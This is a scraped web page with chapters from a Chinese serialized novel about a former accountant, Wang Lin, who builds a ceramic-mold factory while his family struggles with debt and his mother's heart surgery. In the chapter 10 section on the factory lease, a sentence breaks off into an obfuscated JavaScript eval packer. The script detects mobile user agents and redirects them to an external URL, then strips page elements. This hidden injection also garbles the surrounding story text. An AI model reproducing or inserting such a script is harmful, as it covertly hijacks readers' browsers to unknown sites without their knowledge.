车窗外，北方的冬天正在降临。光秃秃的树枝在寒风中摇晃，行人裹紧大衣匆匆走过。这个城市还没有深圳那种灼热的速度感，但变化已经在发生——新的工地正在开挖，新的广告牌正在竖起，新的故事正在酝酿。 而他的故事，也即将翻开新的一页。 南方的见识，将成为他未来事业的底色。那些在流水线前涂口红的女孩，那些在酒吧里强颜欢笑的女孩，那些在出租屋里组成临时家庭的男女，那些在路灯下啃馒头的摩的司机——他们都将成为他记忆里的坐标，提醒他为什么出发，又将走向何处。 车停在楼下时，天开始飘雪。细碎的雪花在路灯下旋转，像无数个微小的命运，在风中飘摇。 王霖抬头看着自家窗户透出的暖黄色灯光，忽然想起小梅说的最后一句话：“你是好人。但好人在这里活不下去。” 他深吸一口气，握紧了张莉的手。 “走吧，”他说，“回家。” 雪落在他们肩上，很快融化成深色的水渍，像看不见的伤痕。 而真正的旅程，才刚刚开始。 （第九章·南方见识完下7200字） --- 20. 《半生债》中卷 第十章·奠基 《半生债》中卷第十章·奠基 一、归家的沉默 雪在午夜停了。 王霖躺在床上，听着张莉均匀的呼吸声。黑暗中，南方的一切还在眼前晃动——阿芳耳后的烫伤疤，小梅蹲在走廊里哭的样子，银行汇款台前长长的队伍。这些画面和矿区那些煤黑色的脸重叠在一起，压得他几乎喘不过气。 凌晨三点，他轻手轻脚起身，走进书房。 桌上摊着那三本厚书和那份《合资协议草案》。他翻开协议，第三页第七条用红笔标着：“前三年所有利润用于再投资，股东不分配利润。”第八条：“王霖负责公司日常经营管理，技术研发及质量控制。” 窗外的雪光映进来，纸上的字迹清晰可见。他想起柳总在旋转餐厅说的话：“半年时间。明年五月，我们要在东海注册公司。” 半年。他要从完全不懂建筑陶瓷模具，到能管理一家专业工厂。要从一个辞职的会计，变成一个合格的合伙人。 他打开《精密机械原理》，第一页就是密密麻麻的微积分公式。高中毕业后二十多年没碰过数学，这些符号像天书。但他想起在森宝车间看到的那套模具——乳白色的陶瓷衬板在灯光下泛着温润的光，那是科学和技术的结晶。 “看不懂就学。”他对自己说，拿出草稿纸，从最基础的三角函数开始复习。 书房的灯一直亮到天明。 --- 二、第一道坎：数学关 第二天开始，王霖的生活进入一种近乎苦修的状态。 早上六点起床，先抄一小时公式。七点吃早饭，七点半开始看书。中午休息半小时，接着看到下午五点。晚饭后继续，通常到夜里十一点。 张莉看着他这样，什么也没说。她每天早上给他泡一杯浓茶，中午热好饭菜，晚上等他到很晚。有时王霖学到凌晨，她会默默端一碗热汤面进来，放在桌上，转身离开。 第一个月是最难的。 《精密机械原理》第三章讲材料力学，要计算应力应变。王霖卡在弹性模量那个公式上，三天没弄明白。第四天，他去图书馆找高中物理课本，从胡克定律开始重新学。 图书管理员老赵看见他，摇摇头：“你这个年纪，从头学这个，太苦了。” “不学不行。”王霖翻开课本，“柳总给了我半年时间，我不能让他失望。” 老赵从柜台后面走出来，在他对面坐下：“哪部分不懂？” “这个公式。”王霖指着书上的σ=Eε，“应力等于弹性模量乘以应变，但应变是ΔL/L，那为什么……” 老赵拿起笔，在纸上画了个简图：“你看，这个杆子受拉力，长度从L变成L+ΔL。应变是长度的相对变化……” 他讲得很慢，很细。王霖认真听着，不时记笔记。一个小时后，他终于明白了。 “谢谢赵老师。”王霖由衷地说。 “别叫我老师。”老赵摆摆手，“我就是个看图书馆的。不过年轻时候在机械厂干过，懂一点。” 从那以后，老赵经常给王霖开小灶。图书馆下午人少的时候，他就在角落的桌子上给王霖讲课，从材料力学讲到机械设计，从加工工艺讲到质量控制。 一个月后，王霖终于啃完了《精密机械原理》的前五章。虽然还有很多不懂，但至少知道问题在哪里，该怎么查资料了。 --- 三、母亲的病 十一月底，王母的病加重了。 那天王霖正在看《德国工业4.0》，张莉从医院打电话来，声音有些慌：“妈胸闷得厉害，医生说要住院观察。” 王霖扔下书就往医院跑。急诊室里，王母躺在病床上，脸色苍白，手上打着点滴。 “妈，您感觉怎么样？” “没事，老毛病。”王母勉强笑笑，“你忙你的，别管我。” 医生把王霖叫到办公室：“你母亲是风湿性心脏病，二尖瓣狭窄。现在心功能三级，最好做手术换瓣膜。” “手术要多少钱？” “国产瓣膜三万多，进口的六万多。加上手术费、住院费，总共要八到十万。” 王霖的心沉下去。家里存款十二万多，如果动手术，就剩两三万。而他的创业计划，柳总说的“前三年不拿工资”…… “医生，能不能先用药物控制？” “可以，但风险大。一旦出现心衰，抢救都来不及。” 王霖走出医生办公室，在走廊里站了很久。窗外的梧桐树叶子掉光了，光秃秃的枝干在寒风里摇晃。 张莉走过来：“医生怎么说？” 王霖如实说了。 “做。”张莉很坚决，“钱我想办法。你专心学你的，妈的病我来管。” “可是……” “没什么可是。”张莉看着他，“王霖，你要做的事，不是为你一个人。是为了那些在矿区死得不明不白的工友，为了南方那些在流水线上耗干青春的工人。妈支持你，我也支持你。但你要答应我一件事——” 她顿了顿，声音有些哽咽：“一定要做成。不要让我们的牺牲白费。” 王霖用力点头，一个字也说不出来。 那天晚上，张莉回娘家借了五万块。她四妹把存折拍在桌上：“姐，这钱是我给儿子攒的学费。你两年内必须还我。” “好，我一定还。” 手术安排在十二月中旬。王霖在医院陪护了三天，第四天，王母催他回去：“你在这儿也帮不上忙，回去忙你的事。我没事。” 王霖回到书房，看着墙上贴的那些图纸和公式，第一次感到如此无力。梦想很重，但现实更重。 --- 四、寻找“老师傅” 十二月底，王霖开始按柳总给的名单联系技术人员。 第一个人是洛阳的周振华。电话打过去，接电话的是个老太太：“老周去棋牌室了，你晚上再打。” 晚上八点再打，周工接了，声音洪亮：“哪位？” 王霖自我介绍，说明来意。 周工沉默了一会儿：“王先生，我六十二了，退休三年。儿女都在外地，我就想清清静静过晚年。创业的事，你们找年轻人吧。” “周工，我听说您参与过国家‘七五’陶瓷装备攻关项目。”王霖说，“现在国内建筑陶瓷模具百分之八十靠进口，一套模具二十多万。如果我们能做出来，能省下多少外汇？能养活多少工人？” 电话那头没声音。 王霖继续说：“我在南方看到那些打工的人，手指变形了还在干活，就为了往老家寄几百块钱。我想做点事，让跟着我们干的人能活得体面点。但我不懂技术，需要您这样的老师傅带路。” 长时间的沉默后，周工说：“你把资料寄来看看。” 王霖连夜整理资料——森宝的部分图纸、他做的市场分析、创业计划书。第二天一早用特快专递寄出。 三天后，周工打电话来：“王先生，你什么时候有空？我们见一面。” 王霖买了当天晚上的火车票，十四个小时的硬座。到洛阳时是第二天上午，周工在车站等他。 见面第一句话，周工说：“先去吃碗牛肉汤，暖和暖和。” 牛肉汤馆很小，但热气腾腾。周工一边掰饼一边说：“我看过你的资料了。想法很好，但难度很大。建筑陶瓷模具的关键不在设计，在材料。陶瓷衬板的耐磨性、抗热震性，这些才是核心。” “所以需要您。”王霖诚恳地说。 周工看着他：“你知道我为什么退休吗？” 王霖摇头。 “因为我累了。”周工喝了一口汤，“在国企干了一辈子，看着厂子从辉煌到倒闭，看着技术员一个个南下打工。我想做点事，但没机会。现在老了，机会来了，又怕做不动了。” “周工，您不用做具体工作。”王霖说，“您只要把关，带徒弟。把您三十多年的经验传下去。” 周工沉默了很久。 “工资我不要。”他终于说，“但我要技术股。我做出来的东西，我要有份。” “柳总说可以给技术股，比例可以谈。” “那行。”周工放下碗，“我跟你去看看。但说好，如果条件不行，我随时走人。” --- 五、配方师的执念 从洛阳回来，王霖直奔景德镇。 陈启明的工作室在老陶瓷厂区，墙上挂满各种陶瓷样品。老陈五十多岁，头发花白，戴一副老花镜，正在拉坯。 “陈师傅，我是王霖。” 老陈头也不抬：“坐。等我拉完这个。” 王霖坐在旁边的矮凳上，看他拉坯。手指在转动的泥坯上移动，动作流畅如舞蹈。几分钟后，一个花瓶的雏形出现了。 “好了。”老陈洗手，擦干，“柳总跟我说过你。坐吧。” 王霖拿出资料，老陈摆摆手：“不用看。我就问你一个问题——你们真打算自己做陶瓷衬板？” “对。” “知道难度吗？” “知道一些。配方、成型、烧结，每一关都难。” 老陈点了一支烟：“我在这个行业干了三十五年。景德镇的陶瓷，从宋代到现在，烧了一千年。但工业陶瓷，特别是建筑陶瓷模具用的衬板，我们一直做不过意大利人。知道为什么吗？” 王霖摇头。 “因为差在精细。”老陈吐出一口烟，“工艺陶瓷，差一点没关系，甚至有缺陷还成了艺术。工业陶瓷，差零点一都不行。配方要精确到克，温度要精确到度，时间要精确到秒。我们中国人，做事喜欢‘差不多’，但工业陶瓷不允许‘差不多’。” “所以我们想建立标准。”王霖说，“每一个环节都有标准，每一道工序都有记录。” 老陈看了他很久：“你以前是干什么的？” “会计。” “怪不得。”老陈笑了，“会计讲究精确。好，这个理念对。但我还有个条件——除尘系统必须做好。我不想我做的陶瓷，吸进工人的肺里。” “我答应您。” 离开景德镇时，老陈送王霖到门口。夕阳西下，老厂区的烟囱静默地立着。 “王霖，”老陈忽然说，“我那些专利，在抽屉里躺了十年。你要是真能把它们用起来，我谢谢你。” --- 六、资金危机 一月中旬，王霖收到柳总的信。 信很短：“深圳房子抵押贷款已批，一百二十万。五十万做启动资金，剩余备用。二月来东海详谈。” 随信寄来的还有一份更详细的行业报告。王霖看完，心里既兴奋又沉重。兴奋的是，建筑陶瓷模具的市场比他想象的更大——国内瓷砖年产量超过八十亿平方米，需要的模具是个天文数字。沉重的是，竞争对手也在行动，意大利萨克米公司在佛山设了办事处，德国莱斯公司在上海建了售后中心。 机会很大，但时间很紧。 更紧迫的是家里的经济。王母手术后恢复得不错，但药费一个月要一千多。张莉借的五万块要还，大姐虽然没催，但每次见面，眼神里的担忧藏不住。 一月底，王霖算了笔账：家里存款还剩四万二，张莉的工资一个月一千二，他的开支一个月至少五百。如果不尽快有收入，最多撑到六月。 而柳总说的“前三年不拿工资”…… 一天晚饭时，张莉说：“幼儿园要招一个财务，兼职的，一个月八百。我想去试试。” 王霖抬头：“你不是想考教师资格证吗？” “证可以晚点考。”张莉低头吃饭，“家里现在这样，多一分钱是一分钱。” 王霖想说不用，但话到嘴边又咽了回去。他现在确实拿不出钱。 “张莉，对不起。” “别说对不起。”张莉给他夹菜，“我们是夫妻。要过一起过，要苦一起苦。” 那天晚上，王霖学到凌晨两点。他想起在南方时，那个在路灯下啃馒头的摩的司机。那时他只是个旁观者，现在他明白了——在生存面前，尊严有时候要妥协。 但他不甘心。他不甘心让张莉一直过这种紧巴巴的日子，不甘心让母亲的病成为家里的负担，不甘心自己学了这么多年，还是改变不了什么。 “一定要做成。”他在笔记本上写，“为了所有相信我的人。” --- 七、柳总的到来 二月初，柳总来了东海。 见面约在茶馆，还是明前龙井，但这次的气氛完全不一样。柳总带来了完整的文件：公司章程、股东协议、银行开户资料，还有一张五十万的银行本票。 “这是第一笔资金。”柳总把本票推过来，“剩下的七十万在深圳账户，需要时随时转。” 王霖看着那张本票，手有些抖。五十万，他这辈子没见过这么多钱。 “压力更大了？”柳总笑。 “嗯。”王霖老实承认，“以前是纸上谈兵，现在真金白银了。” “所以要更谨慎。”柳总翻开公司章程，“公司名称定了，‘东海市新陶精密机械有限公司’。注册资本一百万，我八十万，你二十万技术和管理入股。经营范围为建筑陶瓷模具的研发、生产和销售。” 他继续往下说：“厂房我看了几个地方，高新区那个最合适。一千五百平米，层高够，行车有，租金一个月两万五。我已经交了定金。” 王霖心里一紧：一个月两万五，一年就是三十万。五十万启动资金，去掉厂房租金，只剩二十万。 “设备呢？”他问。 “设备是大头。”柳总拿出一份报价单，“五轴加工中心，新的要八十万，二手的三十万。我建议买二手的，台湾永进，用了五年，精度还能保证。” “三十万……”王霖快速心算，“厂房租金半年十五万，设备三十万，这就四十五万了。还剩五万，要买原料、付工资、交水电……” “所以我们要精打细算。”柳总说，“周工和陈师傅那边，我跟他们谈好了。周工技术入股3%，陈师傅2.5%，前六个月只发基本生活费，等有订单了再补。” “工人呢？” “先从本地招。”柳总早有准备，“机械加工的好找，陶瓷成型的难找。我让陈师傅带徒弟，从景德镇招几个年轻人过来。” 王霖一边听一边记，问题一个个冒出来，柳总一个个解答。这个南方归来的教授，不仅有学者的严谨，还有商人的精明。 谈完具体安排，柳总忽然问：“王霖，你怕不怕？” “怕什么？” “怕失败。”柳总看着窗外，“我们押上了所有——我的房子，你的时间和精力，你家的积蓄。如果失败了，你可能连现在的生活都回不去。” 王霖想起张莉说的“要过一起过，要苦一起苦”，想起母亲手术前握着他的手说“妈相信你”，想起周工和陈师傅信任的眼神。 “怕。”他说，“但我更怕不去试。在矿区，我看到太多人认命了。在南方，我也看到太多人麻木了。我不想那样活。” 柳总举起茶杯：“那就祝我们，能做成一件事，能养一群人，能对得起自己。” 茶杯相碰，声音清脆。 --- 八、第一场硬仗：厂房之争 厂房合同签得并不顺利。 房东老李是个精明的商人，看了他们的公司资料，直摇头：“新公司，没资产，没担保。租金必须年付，押金三个月，这是规矩。” 柳总谈判三天，把条件谈到半年付，押金两个月。但老李坚持要柳总用深圳的房产做担保。 “李老板，我们虽然是新公司，但团队很专业。”王霖拿出周工和陈师傅的简历，“您看，这是我们的技术负责人，都是行业里的老师傅。” 老李扫了一眼：“老师傅是好，但做企业不是光有技术就行。资金、市场、管理，哪一样都不能少。你们资金这么紧张，万一撑不下去，我这厂房空置一个月就损失两万五。” 王霖想起在南方学到的谈判技巧——不是争辩，而是展示价值。 “李老板，您这厂房租了这么多年，租客换了一茬又一茬。为什么？因为租的都是低端加工，抗风险能力差。”他打开创业计划书，“我们不一样。建筑陶瓷模具是高端制造，技术门槛高，利润空间大。如果我们做成了，未来可能需要扩大，可能要把整栋楼都租下来。” 他指着市场分析：“国内瓷砖产量每年增长百分之十五，模具需求每年增长百分之二十。这是一个朝阳产业，我们站在风口上。” 老李眯着眼看那些数据。 “李老板，您租给我们，不是租给一家普通工厂。”王霖继续说，“您是投资一家未来的高新技术企业。我们做起来了，您的厂房价值也跟着涨。” 这话打动了老李。他沉默地抽完一支烟。 “租金半年一付不能改，押金可以减到一个月。”他终于开口，“但前三个月租金可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196361|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后付，条件是你们写承诺书。如果付不出，我随时收房。” “成交。” 签完合同，王霖站在空旷的厂房里。阳光从高高的窗户射进来，照亮了漂浮的灰尘。他仿佛已经看见了机器排列整齐，工人忙碌穿梭，模具一套套从生产线上下来的场景。 梦想开始有形状了。 --- 九、团队的重量 周工是第一个报到的。 他从洛阳来，只带了一个行李箱和一工具箱老工具。下火车第一句话是：“先去厂房。” 在车间里，周工这里敲敲地面，那里看看屋顶，眉头越皱越紧。 “地面平整度不够，要重新做自流平。屋顶漏水，要修补。电力负荷不够，要增容。排水系统要改造……” 他一边说，王霖一边记。清单越来越长，预算越加越多。 “周工，这些都要做吗？”王霖忍不住问。 “精密制造，环境是第一关。”周工很严肃，“地面不平，设备安装就不平，加工精度就受影响。电力不稳，数控系统会报警。这些基础做不好，后面都是白费。” 王霖咬牙：“做。” 老陈从景德镇来的那天，带了一面包车的原料和设备。他在车间角落搭起临时实验室，天平、球磨机、干燥箱摆了一排。 “氧化铝粉要九十九纯度的，氧化锆要钇稳定的，碳化硅要亚微米级的……”老陈一边配原料一边念叨，“每批原料都要检测，成分、粒度、含水量，一个都不能差。” 最让王霖惊喜的是郑老师推荐的研究生赵志刚。小赵二十五岁，戴着厚厚的眼镜，话不多，但专业功底扎实。他来了三天，就把那台二手五轴加工中心的数控系统摸透了。 “王总，这台机器精度还能达到0.005毫米，够用了。”小赵检测后说，“但数控系统太旧，我建议升级。新系统响应更快，编程更方便。” “升级要多少钱？” “三万左右。” 王霖心算：厂房改造八万，设备升级三万，原料采购五万，工资支出三万……五十万启动资金，已经去了十九万。 压力像山一样压下来。 --- 十、第一次试制 设备安装调试用了整整一周。 台湾来的工程师很严格，要求车间温度控制在22±2℃，湿度45%±5%。精度达不到标准不行。为了达标，王霖又花三万装了空调和除湿系统。 “环境不达标，机床精度会漂移。”工程师说，“今天调好了，明天温度一变，精度就变了。你们要做精密模具，环境控制是基本功。” 调试最后一天，要进行第一次试加工。 试制的是一套800×800毫米的瓷砖模具，用于生产仿大理石瓷砖。周工设计的图纸改了十一稿，每个细节都反复推敲。老陈配了三组陶瓷配方，小赵的程序优化了三次。 试加工那天，所有人都到了。柳总从深圳赶回来，张莉也请了假过来。连图书馆的老赵都来了，说要“看看你们到底能做出什么”。 上午九点，机床启动。 主轴缓缓旋转，刀具接近模具钢坯。金属切削的“嘶嘶”声响起，淡蓝色的切削液喷出，铁屑如卷曲的丝带般落下。 所有人都屏住呼吸。周工盯着测量仪，老陈看着温度监控，小赵盯着数控屏幕，王霖的手心全是汗。 第一个模具钢外壳加工了六个小时。下午三点，机械臂把成品放到检测台。 周工第一个上前，用三坐标测量机检测。数据一个个跳出来：长度799.98毫米，宽度799.96毫米，平面度0.015毫米，垂直度0.012毫米…… “合格！”周工的声音有些发抖，“全部达到设计标准！” 车间里爆发出欢呼声。老陈激动地拍小赵的肩膀，小赵的眼镜都歪了。柳总用力握王霖的手，张莉背过身去擦眼睛。 但还没完。接下来是陶瓷衬板的试制。 老陈配好的陶瓷浆料注入石膏模具，在振动台上排除气泡，送入干燥室。二十四小时后脱模，得到陶瓷生坯。 烧结是关键。老陈设计的温度曲线很复杂：从室温到600℃慢速升温，保温两小时排除有机物；快速升温到1650℃，保温四小时完成烧结；控制冷却速度，防止开裂。 烧结炉运行了整整一天一夜。第二天早上，炉温降到室温，炉门打开。 陶瓷衬板出来了——乳白色，表面光滑如镜，在灯光下泛着温润的光泽。 老陈戴上白手套，拿起衬板轻轻敲击，声音清脆。他用卡尺测量尺寸，用放大镜检查表面，用硬度计测试硬度。 “密度3.92克/立方厘米，硬度HRA92，抗弯强度580兆帕……”他一个个报数据，“全部达到设计指标！” 最后一步，是把陶瓷衬板安装到模具钢外壳上。 周工亲自操作。先用丙酮清洗安装面，用高压空气吹净，在无尘罩下涂布高温粘结剂，然后将陶瓷衬板缓缓放下，用专用夹具固定。送入固化炉，180℃保温三小时。 下午五点，第一套完整的建筑陶瓷模具诞生了。 --- 十一、深夜的承诺 那天晚上，王霖很晚才回家。 张莉在厨房热菜，听见开门声，头也不回地说：“饭在锅里，自己盛。” 王霖走到厨房门口，看着她忙碌的背影。围裙的带子在腰后系了个蝴蝶结，有些松了。 “张莉。” 她回过头。 王霖从包里拿出模具的照片。照片是柳总用专业相机拍的，灯光打得很好，模具在照片上泛着冷峻的金属光泽和温润的光泽。 张莉关掉火，用围裙擦擦手，接过照片。看了很久。 “这是……你们做的？” “嗯。”王霖点头，“今天刚做好。尺寸精度、表面质量、材料性能，全部达标。” 张莉的手微微发抖，照片的边缘被捏皱了。 “能卖钱吗？”她问，声音很轻。 “能。”王霖说，“这套模具，能卖二十万。” 厨房里很安静，只有油烟机还在低鸣。张莉抬起头，眼睛里有泪光，但她在笑。 “二十万……一套？” “对，一套。”王霖看着她，“成本五万，毛利十五万。如果一个月能做十套，就是一百五十万毛利。” 张莉的眼泪终于掉下来。她转过身，肩膀轻轻抖动。王霖想上前，她摆摆手，自己擦了眼泪。 “王霖，你们……你们真的做出来了。” “做出来了第一步。”王霖说，“但离成功还远。要做质量稳定性测试，要送样品给客户试用，要建立销售渠道……” “我知道。”张莉打断他，“但至少，你们迈出了第一步。” 她把照片小心地放在料理台上，转身继续热菜。锅铲碰撞的声音很清脆。 晚饭时，张莉给王霖碗里夹了菜，——她很久没给他夹过菜了。 吃完饭，张莉收拾碗筷时忽然说：“王霖，我明天去银行办离职。” 王霖愣住了：“为什么？” “工厂刚起步，事多。”张莉的语气很平静，“你管技术管生产，柳总管市场管销售，后勤总得有人管。食堂、宿舍、考勤、采购，这些我能做。” “可是……” “没有可是。”张莉看着他，“夫妻同心，其利断金。你赌上了一切，我也不能站在岸上。” 王霖想说什么，但喉咙发紧。他站起来，走到张莉面前。张莉却主动抱住了他，头靠在他肩上。 “王霖，这半年，我看着你天天熬夜，看着你到处奔波，看着你越来越瘦。我知道这条路多难走。但今天看到那套模具，我觉得——值了。” 王霖紧紧抱住她。这半年的压力、焦虑、孤独，在这一刻都化成了滚烫的东西，堵在胸口。 窗外，东海的夜宁静安详。但在高新区的那栋厂房里，机器还会继续运转，灯火还会彻夜不熄。 王霖知道，真正的挑战才刚刚开始。质量稳定性、客户认可、市场竞争、资金链安全……每一道都是坎。 但他也知道，经过这半年的奠基，他已经有了团队，有了产品，有了方向。 更重要的是，他重新赢得了家人的信任和支持。 地基已经打好，接下来，该盖楼了。 （第十章·奠基完全文12580字） 21. 《半生债》中卷 第十一章·百川归流 《半生债》中卷第十一章·百川归流 一、架构初成 2000年春天来得特别早，三月刚到，高新区路旁的迎春花就开了金黄一片。 “东海市新陶精密机械有限公司”的蓝底白字招牌在阳光下庄重而醒目。厂房里，机器的轰鸣声已从最初的生涩变得流畅有力。两台龙门铣床日夜不休地加工着模具钢坯；刨床的切削声沉稳厚重；三台磨床前，工人们戴着护目镜精心打磨；压胶房里，新安装的设备散发着淡淡的橡胶和树脂混合的气味。 总装车间里，第一批招聘的三十六名工人正在周工的指导下学习组装流程。这些来自天南地北的面孔，此刻都专注地看着老师傅手上的动作。 “注意这个卡槽，”周工举起一个陶瓷衬板，“安装时必须完全对准，差一丝都不行。陶瓷脆，硬塞就会裂。” 工人们认真点头，有人在本子上记录。这一幕让站在车间门口的王霖心中温暖——半年前，这里还是一片空旷；半年后，这里有了生机。 会议室里，王霖和柳长青对着最终确定的组织架构图。柳长青用他那支德国进口的钢笔在图上标注，笔尖划过纸张的声音清晰可闻。 “销售部、技术部、财务部、后勤部、生产部。”柳长青的笔停在生产部的位置，“生产部下设调度组、质检组、电工组、机械加工车间、压胶车间、总装车间。总人数控制在八十到一百人之间，这是我们第一阶段的规模。” 王霖凝视着那张图。每一个方框都代表一份责任，每一条连线都代表一种关系。他突然想起在矿区时，孙宝那张随意涂画的组织图——混乱、随意、充满人情世故。而眼前这张图，严谨得像柳长青在大学教授的流程图。 “我负责全局，兼任销售部经理。”柳长青继续说，声音里有一种教授授课般的清晰，“你主管财务，兼任公司常务副总经理，是我的二把手。”他顿了顿，看向王霖，“这副担子很重。我们不只是要赚钱，是要建一个能长久生存下去的企业。” 王霖点头。他想起了在南方见过的那些工厂——有的欣欣向荣，有的濒临倒闭。区别在哪里？就在管理，在制度，在人。 柳长青从真皮公文包里取出一份聘任书。纸张很厚，带着淡淡的水印。他在总经理签名处郑重地签下自己的名字，字迹流畅而有力。 聘任王霖同志为东海市新陶精密机械有限公司常务副总经理，主管公司财务及日常管理工作。聘期三年。 王霖双手接过。这张纸不重，但他感觉沉甸甸的。这不是一份工作，是一个承诺——对柳长青的承诺，对即将加入公司的近百名员工的承诺，也是对那个在矿区不甘心、在南方被震撼的自己的承诺。 --- 二、柳长青的拼劲：教授的企业家转型 公司开始运转的第一周，所有人就见识了柳长青的另一面——那个在栖霞山上温和儒雅的教授，变成了一个工作狂。 他的办公室在二楼东侧，窗户朝东，每天早上第一缕阳光就会照进来。七点半，柳长青准时出现在办公室，第一件事是打开笔记本电脑查看邮件——那时电子邮件还是新鲜事物，整个公司只有三台电脑能上网。 八点整，他开始处理文件。每一份采购申请、每一张报销单、每一份合同草案，他都要仔细看过，用红笔批注。他的批注很有特点，像批改学生论文：“此处数据需核实”“条款表述模糊，建议修改”“此项预算依据不足”。 十点后是电话时间。他给潜在客户打电话，声音温和但坚定：“李总您好，我是新陶公司的柳长青。我们新开发了一款仿石纹瓷砖模具，想寄个样品给您看看……” 中午十二点，文员小陈从食堂打来饭菜：一荤一素一汤，用不锈钢饭盒装着送进办公室。柳长青一边吃饭一边看报表，有时筷子停在半空，眼睛盯着某个数据，一顿饭能吃一个小时。 下午通常是约见客户或供应商。柳长青会提前十分钟在会议室准备，把样品、资料、报价单整齐摆好。谈话时他很少说废话，每句话都直奔主题，但又不让人觉得生硬。 有一次，一个佛山来的客户在参观车间时随口说：“柳总，你们这车间布局和德国工厂很像啊。” 柳长青微笑：“我考察过德国莱斯公司的工厂，他们的精益生产理念值得我们学习。不过我们根据实际情况做了调整，比如把质检岗位设在每个工序后，而不是最后统一检验。” 客户惊讶：“您还懂生产管理？” “不懂就要学。”柳长青说，“我做企业，不是要做甩手掌柜，是要做懂行的掌舵人。” 晚上，柳长青办公室的灯总是最后一个熄灭。有时王霖加班到十点，经过他办公室，还能看见里面亮着灯，听见键盘敲击的声音。 一天深夜，王霖实在忍不住，推门进去。柳长青正对着电脑屏幕，眼睛通红，桌上散落着十几张演算纸。 “柳总，该休息了。” “马上就好。”柳长青揉了揉太阳穴，“这批异型模具的报价单要明天发给客户，成本核算必须精确。我们刚起步，报价高了没竞争力，报价低了要亏本。” 王霖走到他身后，看到屏幕上密密麻麻的表格。那是一套复杂的拼花模具，由四十七个不同形状的部件组成，每个部件的材料成本、加工工时、废品率都要计算。 “我来帮您核算吧。”王霖说，“我做过财务，对数字敏感。” 柳长青摇头：“不行，这是我的工作。销售这一块我必须亲力亲为，每个报价我都要清楚怎么算出来的。客户问起来，我要能说出每一分钱的构成。” 他喝了口浓茶，继续说：“王霖，你知道我为什么从大学出来吗？不是嫌工资低，是觉得知识不该锁在象牙塔里。我要把书本上的管理理论，变成现实中的企业实践。” 王霖看着他疲惫但坚定的侧脸，想起在南方时柳长青说的“知识不变成生产力，就是一堆废纸”。这个人不是在说空话，是在用行动践行自己的理念。 “那您注意身体。”王霖说，“公司刚刚起步，您不能倒下。” 柳长青笑了，笑容里有深深的疲惫，也有一种满足：“要干点事业，不拼怎么行？我在大学时带研究生做课题，经常通宵。现在做企业，一样的道理——想做出成绩，就要付出比别人多的努力。” 这句话后来在新陶公司流传开来。工人们私下里说：“柳总一个大学教授都这么拼，我们这些打工的有什么理由不努力？” --- 三、王霖的穿梭：从财务到全局 与柳长青的“坐镇指挥”不同，王霖的管理风格是“走动式”的。 早上八点，生产调度会在车间旁的会议室召开。五个车间的主任、三个组长围坐在长桌旁，王霖坐在主位。会议很短，通常不超过二十分钟。 “机械加工车间，昨天那套800模具的钢坯加工进度？” “已完成百分之七十，今天下午能全部完成。” “压胶车间，新到的硅橡胶材料测试结果？” “合格，拉伸强度达到标准。” 王霖一边听一边记，问题一个个提出，解决方案一个个确定。他的笔记本上密密麻麻，但条理清晰。 散会后，他第一个走进车间。龙门铣床前，操作工小张正在更换铣刀。王霖走过去：“这刀用了多久？” “二十个小时了。”小张说，“一般三十个小时就要换，不然影响精度。” “换下来的刀怎么处理？” “送磨刀房重磨，还能用两次。” 王霖点头。他在矿区管过材料，知道这些小细节累积起来就是大成本。一把进口铣刀八百多，如果能多用几次，一年能省下不少钱。 十点钟，他回到财务部。会计小刘正在手工记账，厚厚的账本摊在桌上，算盘打得噼啪响。 “上个月的应付账款明细给我看看。” 小刘翻出账本。王霖一页页看，眉头渐渐皱起来：“永固钢材的款还没付？” “账上没钱了。”小刘小声说，“这个月发了工资八万六，买了橡胶原料两万三，交电费一万二，就剩三万多了。下个月的厂房租金两万五还没着落。” 王霖心里一沉。他想起柳长青抵押深圳房子贷来的一百二十万——这曾经是个天文数字，但现在看来如此不经花。 设备采购：两台龙门铣床二十八万，刨床六万，钻床三万，三台磨床九万，压胶设备十二万……总计五十八万。 厂房改造：地面自流平四万，屋顶防水两万，电力增容两万，排水系统改造一万……总计九万。 原料采购：模具钢十五吨，每吨四千二，六万三；陶瓷原料八万；辅助材料三万……总计十七万多。 人员工资：八十六人，第一个月工资十万出头。 再加上办公设备、注册费用、水电杂费……一百二十万已经花去九十多万。 账上剩下的二十多万，要支撑公司运转到第一笔大额回款。而销售部那边，三个月只接到几个小订单，总额不到四十万，回款还不到一半。 “供应商那边还能拖多久？”王霖问。 “有些已经催了三次了。”小刘说，“永固钢材的老板说，再不付款就停止供货。” 王霖沉默了一会儿：“约他下午过来，我跟他谈。” 十一点，他来到技术部。小赵正趴在绘图板上手工绘制一张复杂的模具图。圆规、三角尺、曲线板、各种比例的模板摆了一桌子。图纸已经画了两天，才完成一半。 “不能这样。”王霖说，“太慢了。客户要得急的时候，等不起。” “手工绘图就是这样。”小赵抬起头，眼镜滑到鼻尖，“一张复杂的图，至少要画三天。如果用电脑，可能只要三小时。” “那就用电脑。”王霖很坚决。 “电脑太贵了。”小赵说，“一台配置好点的要两万多，还要买绘图软件，AutoCAD正版要八千多。而且不止一台，技术部三个人都要用。” 王霖快速心算：三台电脑六万多，软件两万四，将近九万。账上只剩二十多万…… “买。”他咬了咬牙，“效率就是生命。一张图手工画三天，电脑三小时。这九万块，一个月就能省出来。” 下午，他开始在各个部门之间穿梭。 采购部老李拿着劳保用品采购单来找他：“王总，安全鞋、工作服、手套这些，供应商报价在这。” 王霖仔细看报价单：“安全鞋报价八十，市场上同款的只要六十五。工作服报价四十，别家三十。为什么贵这么多？” 老李有些尴尬：“这家供应商是……是开发区管委会推荐来的。” 王霖明白了。他想起在矿区时，孙宝那些关系户供应的材料，价格都比市场价高。没想到自己开公司了，还会遇到这种事。 “换一家。”王霖说，“同等质量比价格，同等价格比质量。不管谁推荐的，都要按这个原则来。” 后勤部要招食堂师傅，来了三个人应聘。王霖亲自面试，问的问题很实际：“一顿饭两荤两素一汤，每人标准三块钱，你怎么安排？” 